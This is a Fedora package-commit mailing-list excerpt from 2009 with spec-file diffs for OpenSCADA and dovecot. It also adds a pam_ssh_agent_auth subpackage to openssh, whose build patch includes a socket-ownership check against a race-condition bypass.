@@ -106,6 +106,8 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 
+Obsoletes: %{name}-UI-QTVision
+
 %description
 Open SCADA system. For access use account "root" and password "openscada".
 %description -l ru_RU.UTF8
@@ -937,7 +939,7 @@ Requires:%{name}-UI-QTCfg = %{version}-%
 Requires:%{name}-UI-Vision = %{version}-%{release}
 %endif
 %if 0%{?with_uivcaengine}
-Requires:%{name}-UI-VCAEngane = %{version}-%{release}
+Requires:%{name}-UI-VCAEngine = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -971,70 +973,70 @@ und das Kennwort "openscada" oder die An
 
 # ############################### Virtual Packages ###################################
 %package plc
-Summary: OpenSCADA PLC.
+Summary: OpenSCADA PLC
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-Archive-FSArch
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-System
-Requires: %name-DB-SQLite
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Transport-Sockets
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfgD
-Requires: %name-UI-WebVision
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-System
+Requires: %{name}-DB-SQLite
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
+Requires: %{name}-Special-FlibSys
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-UI-WebVision
 %description plc
-The %name-plc package is virtual package for PLC.
+The %{name}-plc package is virtual package for PLC.
 %description plc -l ru_RU.UTF8
-????? %name-plc ??? ??????????? ????? ??? ???.
+????? %{name}-plc ??? ??????????? ????? ??? ???.
 %description plc -l uk_UA.UTF8
-????? %name-plc ?? ??????????? ????? ??? ???.
+????? %{name}-plc ?? ??????????? ????? ??? ???.
 %description plc -l de_RU.UTF8
-????? %name-plc ist das Virtualpaket f?r PLC.
+????? %{name}-plc ist das Virtualpaket f?r PLC.
 
 %package server
-Summary: OpenSCADA server.
+Summary: OpenSCADA server
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-DB-SQLite
-Requires: %name-DB-MySQL
-Requires: %name-DB-FireBird
-Requires: %name-DAQ-System
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-DiamondBoards
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-SNMP
-Requires: %name-DAQ-Siemens
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
-Requires: %name-Transport-Sockets
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfg
-Requires: %name-UI-WebVision
-Requires: %name-WebCfgD
-Requires: %name-Special-FLibComplex1
-Requires: %name Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-DB-SQLite
+Requires: %{name}-DB-MySQL
+Requires: %{name}-DB-FireBird
+Requires: %{name}-DAQ-System
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-DiamondBoards
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-SNMP
+Requires: %{name}-DAQ-Siemens
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-DCON
+Requires: %{name}-DAQ-Gate
+Requires: %{name}-DAQ-Soundcard
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-ARH-DBArch
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfg
+Requires: %{name}-UI-WebVision
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-Special-FLibComplex1
+Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
 %description server -l ru_RU.UTF8
@@ -1045,7 +1047,7 @@ The %name-server package is virtual pack
 ????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
 
 %package visStation
-Summary: OpenSCADA visual station.
+Summary: OpenSCADA visual station
 Group: Applications/Engineering
 Requires: %name = %version-%release
 Requires: %name-DB-SQLite
@@ -1053,15 +1055,15 @@ Requires: %name-DB-MySQL
 Requires: %name-DAQ-System
 Requires: %name-DAQ-BlockCalc
 Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-LogicLevel
 Requires: %name-DAQ-SNMP
 Requires: %name-DAQ-Siemens
 Requires: %name-DAQ-ModBus
 Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
+Requires: %name-DAQ-Gate
+Requires: %name-DAQ-Soundcard
+Requires: %name-ARH-FSArch
+Requires: %name-ARH-DBArch
 Requires: %name-Transport-Sockets
 Requires: %name-Transport-SSL
 Requires: %name-Transport-Serial
@@ -1477,12 +1479,16 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
+- Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
+
 * Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
 - The change version for release 0.6.4
-- Moved Ui-VCAEngane module to the self package
+- Moved Ui-VCAEngine module to the self package
 - Removed QTStarter module from the main package
 - Added the virtual plc, server, visStation packages
-- Some cosmetics.
+- Some cosmetics
+- Fixed somes bugs Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
 - Adding self module ICP_DAS



From tmraz at fedoraproject.org  Mon Oct 19 07:32:34 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Mon, 19 Oct 2009 07:32:34 +0000 (UTC)
Subject: rpms/openssh/devel pam_ssh_agent-rmheaders, NONE,
	1.1 pam_ssh_agent_auth-0.9-build.patch, NONE, 1.1 .cvsignore,
	1.26, 1.27 openssh.spec, 1.173, 1.174 sources, 1.26, 1.27
Message-ID: <20091019073234.542C311C00DC@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/openssh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25478

Modified Files:
	.cvsignore openssh.spec sources 
Added Files:
	pam_ssh_agent-rmheaders pam_ssh_agent_auth-0.9-build.patch 
Log Message:
* Mon Oct 19 2009 Tomas Mraz <tmraz at redhat.com> - 5.3p1-4
- Add pam_ssh_agent_auth module to a subpackage.



--- NEW FILE pam_ssh_agent-rmheaders ---
atomicio.h
authfd.h
buffer.h
cipher.h
compat.h
defines.h
entropy.h
includes.h
kex.h
key.h
log.h
match.h
misc.h
pathnames.h
platform.h
rsa.h
ssh.h
ssh2.h
uuencode.h
xmalloc.h

pam_ssh_agent_auth-0.9-build.patch:
 Makefile.in                |   12 ++---
 iterate_ssh_agent_keys.c   |  102 ++++++++++++++++++++++++++++++++++++++++++++-
 pam_user_authorized_keys.c |    2 
 3 files changed, 108 insertions(+), 8 deletions(-)

--- NEW FILE pam_ssh_agent_auth-0.9-build.patch ---
diff -up pam_ssh_agent_auth-0.9/iterate_ssh_agent_keys.c.psaa-build pam_ssh_agent_auth-0.9/iterate_ssh_agent_keys.c
--- pam_ssh_agent_auth-0.9/iterate_ssh_agent_keys.c.psaa-build	2009-08-08 11:51:04.000000000 +0200
+++ pam_ssh_agent_auth-0.9/iterate_ssh_agent_keys.c	2009-10-16 15:20:55.000000000 +0200
@@ -41,7 +41,16 @@
 #include "buffer.h"
 #include "key.h"
 #include "authfd.h"
+#include "ssh.h"
 #include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <fcntl.h>
 #include <openssl/evp.h>
 
 #include "userauth_pubkey_from_id.h"
@@ -73,6 +82,96 @@ session_id2_gen()
     return cookie;
 }
 
+/* 
+ * Added by Jamie Beverly, ensure socket fd points to a socket owned by the user 
+ * A cursory check is done, but to avoid race conditions, it is necessary 
+ * to drop effective UID when connecting to the socket. 
+ *
+ * If the cause of error is EACCES, because we verified we would not have that 
+ * problem initially, we can safely assume that somebody is attempting to find a 
+ * race condition; so a more "direct" log message is generated.
+ */
+
+int
+ssh_get_authentication_socket_for_uid(uid_t uid)
+{
+	const char *authsocket;
+	int sock;
+	struct sockaddr_un sunaddr;
+	struct stat sock_st;
+
+	authsocket = getenv(SSH_AUTHSOCKET_ENV_NAME);
+	if (!authsocket)
+		return -1;
+
+	/* Advisory only; seteuid ensures no race condition; but will only log if we see EACCES */
+	if( stat(authsocket,&sock_st) == 0) {
+		if(uid != 0 && sock_st.st_uid != uid) {
+			fatal("uid %lu attempted to open an agent socket owned by uid %lu", (unsigned long) uid, (unsigned long) sock_st.st_uid);
+			return -1;
+		}
+	}
+
+	/* 
+	 * Ensures that the EACCES tested for below can _only_ happen if somebody 
+	 * is attempting to race the stat above to bypass authentication.
+	 */
+	if( (sock_st.st_mode & S_IWUSR) != S_IWUSR || (sock_st.st_mode & S_IRUSR) != S_IRUSR) {
+		error("ssh-agent socket has incorrect permissions for owner");
+		return -1;
+	}
+
+	sunaddr.sun_family = AF_UNIX;
+	strlcpy(sunaddr.sun_path, authsocket, sizeof(sunaddr.sun_path));
+
+	sock = socket(AF_UNIX, SOCK_STREAM, 0);
+	if (sock < 0)
+		return -1;
+
+	/* close on exec */
+	if (fcntl(sock, F_SETFD, 1) == -1) {
+		close(sock);
+		return -1;
+	}
+
+	errno = 0; 
+	seteuid(uid); /* To ensure a race condition is not used to circumvent the stat
+	             above, we will temporarily drop UID to the caller */
+	if (connect(sock, (struct sockaddr *)&sunaddr, sizeof sunaddr) < 0) {
+		close(sock);
+        if(errno == EACCES)
+		fatal("MAJOR SECURITY WARNING: uid %lu made a deliberate and malicious attempt to open an agent socket owned by another user", (unsigned long) uid);
+		return -1;
+	}
+
+	seteuid(0); /* we now continue the regularly scheduled programming */
+
+	return sock;
+}
+
+AuthenticationConnection *
+ssh_get_authentication_connection_for_uid(uid_t uid)
+{
+	AuthenticationConnection *auth;
+	int sock;
+
+	sock = ssh_get_authentication_socket_for_uid(uid);
+
+	/*
+	 * Fail if we couldn't obtain a connection.  This happens if we
+	 * exited due to a timeout.
+	 */
+	if (sock < 0)
+		return NULL;
+
+	auth = xmalloc(sizeof(*auth));
+	auth->fd = sock;
+	buffer_init(&auth->identities);
+	auth->howmany = 0;
+
+	return auth;
+}
+
 int
 find_authorized_keys(uid_t uid)
 {
@@ -85,7 +184,7 @@ find_authorized_keys(uid_t uid)
     OpenSSL_add_all_digests();
     session_id2 = session_id2_gen();
 
-    if ((ac = ssh_get_authentication_connection(uid))) {
+    if ((ac = ssh_get_authentication_connection_for_uid(uid))) {
         verbose("Contacted ssh-agent of user %s (%u)", getpwuid(uid)->pw_name, uid);
         for (key = ssh_get_first_identity(ac, &comment, 2); key != NULL; key = ssh_get_next_identity(ac, &comment, 2)) 
         {
@@ -113,3 +212,4 @@ find_authorized_keys(uid_t uid)
     EVP_cleanup();
     return retval;
 }
+
diff -up pam_ssh_agent_auth-0.9/Makefile.in.psaa-build pam_ssh_agent_auth-0.9/Makefile.in
--- pam_ssh_agent_auth-0.9/Makefile.in.psaa-build	2009-08-06 07:40:16.000000000 +0200
+++ pam_ssh_agent_auth-0.9/Makefile.in	2009-10-16 15:20:55.000000000 +0200
@@ -28,7 +28,7 @@ PATHS=
 CC=@CC@
 LD=@LD@
 CFLAGS=@CFLAGS@
-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@
+CPPFLAGS=-I.. -I$(srcdir) -I/usr/include/nss3 -I/usr/include/nspr4 @CPPFLAGS@ $(PATHS) @DEFS@
 LIBS=@LIBS@
 AR=@AR@
 AWK=@AWK@
@@ -37,7 +37,7 @@ INSTALL=@INSTALL@
 PERL=@PERL@
 SED=@SED@
 ENT=@ENT@
-LDFLAGS=-L. -Lopenbsd-compat/ @LDFLAGS@
+LDFLAGS=-L.. -L../openbsd-compat/ @LDFLAGS@
 LDFLAGS_SHARED = @LDFLAGS_SHARED@
 EXEEXT=@EXEEXT@
 
@@ -48,7 +48,7 @@ PAM_MODULES=pam_ssh_agent_auth.so
 
 SSHOBJS=xmalloc.o atomicio.o authfd.o bufaux.o bufbn.o buffer.o cleanup.o entropy.o fatal.o key.o log.o misc.o secure_filename.o ssh-dss.o ssh-rsa.o uuencode.o compat.o
 
-PAM_SSH_AGENT_AUTH_OBJS=pam_user_key_allowed2.o iterate_ssh_agent_keys.o userauth_pubkey_from_id.o pam_user_authorized_keys.o
+PAM_SSH_AGENT_AUTH_OBJS=pam_user_key_allowed2.o iterate_ssh_agent_keys.o userauth_pubkey_from_id.o pam_user_authorized_keys.o secure_filename.o
 
 
 MANPAGES_IN	= pam_ssh_agent_auth.pod
@@ -67,13 +67,13 @@ $(PAM_MODULES): Makefile.in config.h
 .c.o:
 	$(CC) $(CFLAGS) $(CPPFLAGS) -c $<
 
-LIBCOMPAT=openbsd-compat/libopenbsd-compat.a
+LIBCOMPAT=../openbsd-compat/libopenbsd-compat.a
 $(LIBCOMPAT): always
 	(cd openbsd-compat && $(MAKE))
 always:
 
-pam_ssh_agent_auth.so: $(LIBCOMPAT) $(SSHOBJS) $(PAM_SSH_AGENT_AUTH_OBJS)  pam_ssh_agent_auth.o
-	$(LD) $(LDFLAGS_SHARED) -o $@ $(SSHOBJS) $(PAM_SSH_AGENT_AUTH_OBJS) $(LDFLAGS) -lopenbsd-compat $(LIBS) -lpam pam_ssh_agent_auth.o
+pam_ssh_agent_auth.so: $(PAM_SSH_AGENT_AUTH_OBJS)  pam_ssh_agent_auth.o
+	$(LD) $(LDFLAGS_SHARED) -o $@ $(PAM_SSH_AGENT_AUTH_OBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) -lpam -lnss3 pam_ssh_agent_auth.o
 
 $(MANPAGES): $(MANPAGES_IN)
 	pod2man --section=8 --release=v0.8 --name=pam_ssh_agent_auth --official --center "PAM" pam_ssh_agent_auth.pod > pam_ssh_agent_auth.8
diff -up pam_ssh_agent_auth-0.9/pam_user_authorized_keys.c.psaa-build pam_ssh_agent_auth-0.9/pam_user_authorized_keys.c
--- pam_ssh_agent_auth-0.9/pam_user_authorized_keys.c.psaa-build	2009-07-29 02:46:38.000000000 +0200
+++ pam_ssh_agent_auth-0.9/pam_user_authorized_keys.c	2009-10-16 15:50:36.000000000 +0200
@@ -94,7 +94,7 @@ parse_authorized_key_file(const char *us
     /*
      * temporary copy, so that both tilde expansion and percent expansion both get to apply to the path
      */
-    strncat(auth_keys_file_buf, authorized_keys_file_input, 4096);
+    strncat(auth_keys_file_buf, authorized_keys_file_input, sizeof(auth_keys_file_buf)-1);
 
     if(allow_user_owned_authorized_keys_file)
         authorized_keys_file_allowed_owner_uid = getpwnam(user)->pw_uid;


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	2 Oct 2009 13:30:35 -0000	1.26
+++ .cvsignore	19 Oct 2009 07:32:33 -0000	1.27
@@ -1 +1,2 @@
 openssh-5.3p1-noacss.tar.bz2
+pam_ssh_agent_auth-0.9.tar.bz2


Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/openssh.spec,v
retrieving revision 1.173
retrieving revision 1.174
diff -u -p -r1.173 -r1.174
--- openssh.spec	17 Oct 2009 07:46:49 -0000	1.173
+++ openssh.spec	19 Oct 2009 07:32:33 -0000	1.174
@@ -32,6 +32,9 @@
 # Whether or not /sbin/nologin exists.
 %define nologin 1
 
+# Whether to build pam_ssh_agent_auth
+%define pam_ssh_agent 1
+
 # Reserve options to override askpass settings with:
 # rpm -ba|--rebuild --define 'skip_xxx 1'
 %{?skip_gnome_askpass:%define no_gnome_askpass 1}
@@ -58,12 +61,15 @@
 %if %{rescue}
 %define kerberos5 0
 %define libedit 0
+%define pam_ssh_agent 0
 %endif
 
+%define pam_ssh_agent_ver 0.9
+
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
 Version: 5.3p1
-Release: 3%{?dist}%{?rescue_rel}
+Release: 4%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
 #Source1: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz.asc
@@ -74,9 +80,12 @@ Source0: openssh-%{version}-noacss.tar.b
 Source1: openssh-nukeacss.sh
 Source2: sshd.pam
 Source3: sshd.init
+Source4: http://prdownloads.sourceforge.net/pamsshagentauth/pam_ssh_agent_auth/pam_ssh_agent_auth-%{pam_ssh_agent_ver}.tar.bz2
+Source5: pam_ssh_agent-rmheaders
 Patch0: openssh-5.2p1-redhat.patch
 Patch2: openssh-5.3p1-skip-initial.patch
 Patch4: openssh-5.2p1-vendor.patch
+Patch10: pam_ssh_agent_auth-0.9-build.patch
 Patch12: openssh-5.2p1-selinux.patch
 Patch13: openssh-5.3p1-mls.patch
 Patch16: openssh-5.3p1-audit.patch
@@ -168,6 +177,14 @@ Requires: openssh = %{version}-%{release
 Obsoletes: openssh-askpass-gnome
 Provides: openssh-askpass-gnome
 
+%package -n pam_ssh_agent_auth
+Summary: PAM module for authentication with ssh-agent
+Group: System Environment/Base
+Version: %{pam_ssh_agent_ver}
+# There is special exception added to the GPLv3+ license to
+# permit linking with OpenSSL licensed code
+License: GPLv3+ and OpenSSL and BSD
+
 %description
 SSH (Secure SHell) is a program for logging into and executing
 commands on a remote machine. SSH is intended to replace rlogin and
@@ -198,12 +215,28 @@ OpenSSH is a free version of SSH (Secure
 into and executing commands on a remote machine. This package contains
 an X11 passphrase dialog for OpenSSH.
 
+%description -n pam_ssh_agent_auth
+This package contains a PAM module which can be used to authenticate
+users using ssh keys stored in a ssh-agent. Through the use of the
+forwarding of ssh-agent connection it also allows to authenticate with
+remote ssh-agent instance.
+
+The module is most useful for su and sudo service stacks.
+
 %prep
-%setup -q
+%setup -q -a 4
 %patch0 -p1 -b .redhat
 %patch2 -p1 -b .skip-initial
 %patch4 -p1 -b .vendor
 
+%if %{pam_ssh_agent}
+pushd pam_ssh_agent_auth-%{pam_ssh_agent_ver}
+%patch10 -p1 -b .psaa-build
+# Remove duplicate headers
+rm -f $(cat %{SOURCE5})
+popd
+%endif
+
 %if %{WITH_SELINUX}
 #SELinux
 %patch12 -p1 -b .selinux
@@ -238,11 +271,12 @@ CFLAGS="$CFLAGS -Os"
 %endif
 %if %{pie}
 %ifarch s390 s390x sparc sparcv9 sparc64
-CFLAGS="$CFLAGS -fPIE"
+CFLAGS="$CFLAGS -fPIC"
 %else
-CFLAGS="$CFLAGS -fpie"
+CFLAGS="$CFLAGS -fpic"
 %endif
 export CFLAGS
+SAVE_LDFLAGS="$LDFLAGS"
 LDFLAGS="$LDFLAGS -pie"; export LDFLAGS
 %endif
 %if %{kerberos5}
@@ -322,6 +356,14 @@ fi
 popd
 %endif
 
+%if %{pam_ssh_agent}
+pushd pam_ssh_agent_auth-%{pam_ssh_agent_ver}
+LDFLAGS="$SAVE_LDFLAGS"
+%configure --with-selinux --libexecdir=/%{_lib}/security
+make
+popd
+%endif
+
 # Add generation of HMAC checksums of the final stripped binaries
 %define __spec_install_post \
     %{?__debug_package:%{__debug_install_post}} \
@@ -371,6 +413,12 @@ rm -f README.nss.nss-keys
 %if ! %{nss}
 rm -f README.nss
 %endif
+
+%if %{pam_ssh_agent}
+pushd pam_ssh_agent_auth-%{pam_ssh_agent_ver}
+make install DESTDIR=$RPM_BUILD_ROOT
+popd
+%endif
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -461,7 +509,20 @@ fi
 %attr(0755,root,root) %{_libexecdir}/openssh/ssh-askpass
 %endif
 
+%if %{pam_ssh_agent}
+%files -n pam_ssh_agent_auth
+%defattr(-,root,root)
+%doc pam_ssh_agent_auth-%{pam_ssh_agent_ver}/GPL_LICENSE
+%doc pam_ssh_agent_auth-%{pam_ssh_agent_ver}/OPENSSH_LICENSE
+%doc pam_ssh_agent_auth-%{pam_ssh_agent_ver}/LICENSE.OpenSSL
+%attr(0755,root,root) /%{_lib}/security/pam_ssh_agent_auth.so
+%attr(0644,root,root) %{_mandir}/man8/pam_ssh_agent_auth.8*
+%endif
+
 %changelog
+* Mon Oct 19 2009 Tomas Mraz <tmraz at redhat.com> - 5.3p1-4
+- Add pam_ssh_agent_auth module to a subpackage.
+
 * Fri Oct 16 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-3
 - Reenable audit.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	2 Oct 2009 13:30:35 -0000	1.26
+++ sources	19 Oct 2009 07:32:33 -0000	1.27
@@ -1 +1,2 @@
 89f85c1da83c24ca0b10c05344f7c93c  openssh-5.3p1-noacss.tar.bz2
+1868cb825393678489b1d48c97819f76  pam_ssh_agent_auth-0.9.tar.bz2



From mhlavink at fedoraproject.org  Mon Oct 19 07:32:43 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 19 Oct 2009 07:32:43 +0000 (UTC)
Subject: rpms/dovecot/devel .cvsignore, 1.60, 1.61 dovecot.spec, 1.143,
	1.144 sources, 1.64, 1.65
Message-ID: <20091019073243.0E2EB11C00DC@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25492

Modified Files:
	.cvsignore dovecot.spec sources 
Log Message:
sieve updated to 0.1.13



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/.cvsignore,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- .cvsignore	9 Oct 2009 19:01:08 -0000	1.60
+++ .cvsignore	19 Oct 2009 07:32:42 -0000	1.61
@@ -1,4 +1,4 @@
 dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
 dovecot-1.2.6-managesieve-0.11.9.diff.gz
-dovecot-1.2-sieve-0.1.12.tar.gz
+dovecot-1.2-sieve-0.1.13.tar.gz


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/dovecot.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- dovecot.spec	13 Oct 2009 12:31:28 -0000	1.143
+++ dovecot.spec	19 Oct 2009 07:32:42 -0000	1.144
@@ -2,7 +2,7 @@ Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
 Version: 1.2.6
-Release: 2%{?dist}
+Release: 3%{?dist}
 #dovecot itself is MIT, a few sources are PD, (manage)sieve is LGPLv2, perfect_maildir.pl is GPLv2+
 License: MIT and LGPLv2 and GPLv2+
 Group: System Environment/Daemons
@@ -15,7 +15,8 @@ Group: System Environment/Daemons
 
 %define build_sieve 1
 %define build_managesieve 1
-%define sieve_version 0.1.12
+%define ver4mansieve %{version}
+%define sieve_version 0.1.13
 %define sieve_name dovecot-1.2-sieve
 %define managesieve_version 0.11.9
 %define managesieve_name dovecot-1.2-managesieve
@@ -32,7 +33,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.6-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-%{ver4mansieve}-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -436,6 +437,25 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-3
+- sieve updated to 0.1.13 which brings these changes:
+- Body extension: implemented proper handling of the :raw transform
+  and added various new tests to the test suite. However, :content
+  "multipart" and :content "message/rfc822" are still not working.
+- Fixed race condition occuring when multiple instances are saving the
+  same binary (patch by Timo Sirainen).
+- Body extension: don't give SKIP_BODY_BLOCK flag to message parser,
+  we want the body!
+- Fixed bugs in multiscript support; subsequent keep actions were not
+  always merged correctly and implicit side effects were not always
+  handled correctly.
+- Fixed a segfault bug in the sieve-test tool occuring when compile
+  fails.
+- Fixed segfault bug in action procesing. It was triggered while
+  merging side effects in duplicate actions.
+- Fixed bug in the Sieve plugin that caused it to try to stat() a NULL
+  path, yielding a 'Bad address' error.
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
 - fix init script for case when no action was specified
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/sources,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sources	9 Oct 2009 19:01:08 -0000	1.64
+++ sources	19 Oct 2009 07:32:42 -0000	1.65
@@ -1,4 +1,4 @@
 807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
 615d5d1ad843654384ca11cf523c2bbc  dovecot-1.2.6-managesieve-0.11.9.diff.gz
-8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz
+6151ab50e24abc0384358b1618c8048f  dovecot-1.2-sieve-0.1.13.tar.gz



From aleksey2005 at fedoraproject.org  Mon Oct 19 07:47:44 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Mon, 19 Oct 2009 07:47:44 +0000 (UTC)
Subject: rpms/openscada/EL-5 import.log,1.5,1.6 openscada.spec,1.8,1.9
Message-ID: <20091019074744.DF74811C00DC@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30268/EL-5

Modified Files:
	import.log openscada.spec 
Log Message:
Release OpenSCADA 0.6.4


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	13 Oct 2009 09:46:53 -0000	1.5
+++ import.log	19 Oct 2009 07:47:43 -0000	1.6
@@ -3,3 +3,4 @@ openscada-0_6_3_3-5_fc10:EL-5:openscada-
 openscada-0_6_3_3-6_fc10:EL-5:openscada-0.6.3.3-6.fc10.src.rpm:1245335663
 openscada-0_6_3_3-7_fc10:EL-5:openscada-0.6.3.3-7.fc10.src.rpm:1245444543
 openscada-0_6_4-1_fc11:EL-5:openscada-0.6.4-1.fc11.src.rpm:1255427219
+openscada-0_6_4-2_fc11:EL-5:openscada-0.6.4-2.fc11.src.rpm:1255938476


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/openscada.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- openscada.spec	13 Oct 2009 09:46:53 -0000	1.8
+++ openscada.spec	19 Oct 2009 07:47:43 -0000	1.9
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -106,6 +106,8 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 
+Obsoletes: %{name}-UI-QTVision
+
 %description
 Open SCADA system. For access use account "root" and password "openscada".
 %description -l ru_RU.UTF8
